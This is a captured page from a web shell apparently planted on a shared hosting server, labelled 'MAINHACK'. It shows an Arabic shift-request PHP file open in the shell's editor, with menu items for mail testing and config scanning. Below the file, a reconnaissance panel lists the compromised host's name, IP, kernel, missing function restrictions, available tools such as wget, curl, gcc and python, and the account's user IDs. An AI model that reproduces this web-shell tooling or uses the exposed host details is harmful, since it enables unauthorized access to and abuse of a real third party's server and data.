[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: request_start.php
<?php require_once '../config/database.php'; require_once '../config/functions.php'; requireAuth('representative'); // Check if user already has an active or requested shift $stmt = $pdo->prepare(" SELECT * FROM shifts WHERE representative_id = ? AND status IN ('requested', 'active', 'end_requested') ORDER BY id DESC LIMIT 1 "); $stmt->execute([$_SESSION['user_id']]); $existing_shift = $stmt->fetch(); if ($existing_shift) { $status_text = [ 'requested' => 'في انتظار الموافقة على البدء', 'active' => 'الوردية نشطة حالياً', 'end_requested' => 'في انتظار الموافقة على الإنهاء' ]; $redirect_url = $existing_shift['status'] === 'active' ? '/shifts/my_shift.php' : '/dashboard.php'; header("Location: $redirect_url?info=existing_shift&status=" . $existing_shift['status']); exit; } $error = ''; $success = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $notes = trim($_POST['notes'] ?? ''); try { // Insert shift request $stmt = $pdo->prepare(" INSERT INTO shifts (representative_id, status, start_requested_at, notes) VALUES (?, 'requested', NOW(), ?) "); $stmt->execute([$_SESSION['user_id'], $notes]); $shift_id = $pdo->lastInsertId(); // Add audit log addAuditLog($pdo, $_SESSION['user_id'], 'request_shift_start', 'shift', $shift_id, null, [ 'notes' => $notes ], "طلب بدء وردية جديدة"); $success = 'تم إرسال طلب بدء الوردية بنجاح. سيتم الرد عليك قريباً.'; } catch (Exception $e) { $error = 'خطأ في إرسال الطلب: ' . $e->getMessage(); } } ?> <!DOCTYPE html> <html lang="ar" dir="rtl"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>طلب بدء وردية - حسابات عربية بن فريش</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.rtl.min.css" rel="stylesheet"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet"> <style> .request-card { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; border-radius: 20px; } .info-card { background: #f8f9fa; border-radius: 15px; border: 1px solid #dee2e6; } </style> </head> <body class="bg-light"> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-6"> <div class="text-center mb-4"> <h2><i class="fas fa-clock me-2"></i>طلب بدء وردية جديدة</h2> </div> <?php if ($_GET['error'] === 'no_active_shift' ?? false): ?> <div class="alert alert-warning"> <i class="fas fa-exclamation-triangle me-2"></i>يجب أن تكون لديك وردية نشطة للوصول لهذه الميزة </div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger" role="alert"> <i class="fas fa-exclamation-triangle me-2"></i><?= htmlspecialchars($error) ?> </div> <?php endif; ?> <?php if ($success): ?> <div class="alert alert-success" role="alert"> <i class="fas fa-check-circle me-2"></i><?= htmlspecialchars($success) ?> <div class="mt-3"> <a href="/dashboard.php" class="btn btn-success">العودة للوحة التحكم</a> </div> </div> <?php else: ?> <div class="request-card p-4 mb-4"> <form method="POST"> <div class="mb-4"> <label for="notes" class="form-label">ملاحظات (اختياري)</label> <textarea class="form-control" id="notes" name="notes" rows="4" placeholder="أي ملاحظات أو طلبات خاصة للإدارة..."></textarea> </div> <div class="text-center"> <button type="submit" class="btn btn-light btn-lg px-5"> <i class="fas fa-paper-plane me-2"></i>إرسال طلب البدء </button> </div> </form> </div> <div class="info-card p-4"> <h5 class="text-primary mb-3"> <i class="fas fa-info-circle me-2"></i>معلومات مهمة </h5> <ul class="list-unstyled"> <li class="mb-2"><i class="fas fa-check text-success me-2"></i>سيتم مراجعة طلبك من قبل المدير أو المحاسب</li> <li class="mb-2"><i class="fas fa-check text-success me-2"></i>سيتم تحديد المخزون المتاح لك عند الموافقة</li> <li class="mb-2"><i class="fas fa-check text-success me-2"></i>ستحصل على إشعار فور الموافقة أو الرفض</li> <li class="mb-0"><i class="fas fa-check text-success me-2"></i>يمكنك البدء في العمل فور الموافقة</li> </ul> </div> <div class="text-center mt-4"> <a href="/dashboard.php" class="btn btn-outline-secondary"> <i class="fas fa-arrow-left me-2"></i>العودة للرئيسية </a> </div> <?php endif; ?> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285